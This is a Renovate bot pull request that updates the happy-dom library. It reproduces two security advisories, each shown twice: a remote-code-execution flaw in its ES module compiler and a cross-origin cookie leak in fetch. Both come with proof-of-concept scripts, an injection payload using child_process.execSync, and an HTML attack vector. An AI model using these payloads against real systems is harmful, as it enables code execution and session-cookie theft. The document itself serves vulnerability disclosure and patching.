Skip to content

Update dependency happy-dom to v20.8.9 [SECURITY]#753

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-happy-dom-vulnerability
Open

Update dependency happy-dom to v20.8.9 [SECURITY]#753
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-happy-dom-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.0.1020.8.9 age confidence

GitHub Vulnerability Alerts

CVE-2026-33943

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

CVE-2026-34226

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22
  2. happy-dom 20.6.1
  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
  3. From page host, call fetch to target host with credentials: "include"
  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY
  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY
  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.


Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

CVE-2026-33943 / GHSA-6q6h-j7hj-3r64

More information

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22
  2. happy-dom 20.6.1
  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
  3. From page host, call fetch to target host with credentials: "include"
  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY
  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY
  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.
Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v20.8.9

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117

v20.8.8

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
    • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

👷‍♂️ Patch fixes
  • Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

Compare Source

👷‍♂️ Patch fixes

v20.8.5

Compare Source

👷‍♂️ Patch fixes

v20.8.4

Compare Source

v20.8.3

Compare Source

👷‍♂️ Patch fixes

v20.8.2

Compare Source

👷‍♂️ Patch fixes
  • Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

Compare Source

👷‍♂️ Patch fixes

v20.8.0

Compare Source

v20.7.2

Compare Source

👷‍♂️ Patch fixes
  • Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

Compare Source

v20.7.0

Compare Source

🎨 Features

v20.6.5

Compare Source

👷‍♂️ Patch fixes

v20.6.4

Compare Source

👷‍♂️ Patch fixes

v20.6.3

Compare Source

👷‍♂️ Patch fixes
  • Refactors query selector parser to be able to handle complex rules - By @​capricorn86 in task #​1910
  • Fixes issue related to using query selector for attribute in XML document - By @​capricorn86 in task #​1912
  • Fixes issue with using quotes within quotes for attribute query selector (e.g. [data-value="it's a test"]) - By @​capricorn86 in task #​2034

v20.6.2

Compare Source

👷‍♂️ Patch fixes
  • Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @​acollins1991 in task #​2066

v20.6.1

Compare Source

v20.6.0

Compare Source

v20.5.5

Compare Source

v20.5.4

Compare Source

👷‍♂️ Patch fixes

v20.5.3

Compare Source

v20.5.2

Compare Source

v20.5.1

Compare Source

v20.5.0

Compare Source

v20.4.0

Compare Source

🎨 Features

v20.3.9

Compare Source

👷‍♂️ Patch fixes
  • Accept Document nodes as valid boundary points in Selection API - By @​skoch13 in task #​1952

v20.3.8

Compare Source

👷‍♂️ Patch fixes
  • The getters for the properties focusNode and focusOffset in the Selection API returned incorrect values - By @​skoch13 in task #​1850

v20.3.7

Compare Source

👷‍♂️ Patch fixes

v20.3.6

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where it wasn't possible to toggle the "open" attribute of <details> by clicking on a child of the <summary> element - By @​Nxooah in task #​1928

v20.3.5

Compare Source

👷‍♂️ Patch fixes
  • Use internal property for "location" in BrowserFrameURL to avoid mock interference - By @​marchaos in task #​1964
  • Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in CookieURLUtility - By @​marchaos in task #​1968

v20.3.4

Compare Source

v20.3.3

Compare Source

v20.3.2

Compare Source

v20.3.1

Compare Source

👷‍♂️ Patch fixes
  • Normalizes the "format" parameter according to the HTML specification in DataTransfer.getData() - By @​marchaos in task #​1965
  • Handle partial responses in XMLHttpRequest - By @​rexxars in task #​1890

v20.3.0

Compare Source

🎨 Features

v20.2.0

Compare Source

🎨 Features
  • Use Element.classList.contains() instead of splitting className in query selectors to improve performance as it's cached - By @​TrevorBurnham in task #​1884

v20.1.1

Compare Source

👷‍♂️ Patch fixes

v20.1.0

Compare Source

🎨 Features
👷‍♂️ Patch fixes

v20.0.11

Compare Source


Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Berlin, Automerge - Monday through Friday ( * * * * 1-5 ) in timezone Europe/Berlin.

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from a team as a code owner March 27, 2026 00:29
@changeset-bot
Copy link
Copy Markdown

changeset-bot bot commented Mar 27, 2026

⚠️ No Changeset found

Latest commit: e87b0e2

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 10a43f2 to c4b2f07 Compare March 27, 2026 10:33
@renovate renovate bot changed the title Update dependency happy-dom to v20.8.8 [SECURITY] Update dependency happy-dom to v20.8.9 [SECURITY] Mar 29, 2026
@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from c4b2f07 to e87b0e2 Compare March 31, 2026 12:43
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants